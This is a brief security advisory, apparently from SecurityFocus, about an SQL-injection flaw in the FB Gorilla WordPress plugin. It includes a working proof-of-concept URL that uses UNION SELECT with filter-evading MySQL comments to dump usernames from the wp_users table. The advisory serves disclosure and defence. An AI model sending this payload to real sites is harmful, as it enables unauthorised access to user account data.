source: https://www.securityfocus.com/bid/69222/info
FB Gorilla plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input.
An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
http://www.example.com/wp-content/plugins/fbgorilla/game_play.php?id=-7+/*!50000union*/+/*!50000select*/+1,2,%28/*!50000group_Concat%28user_login%29*/%29,4,5,6,7,8,9,0,1,2,3+from+wp_users--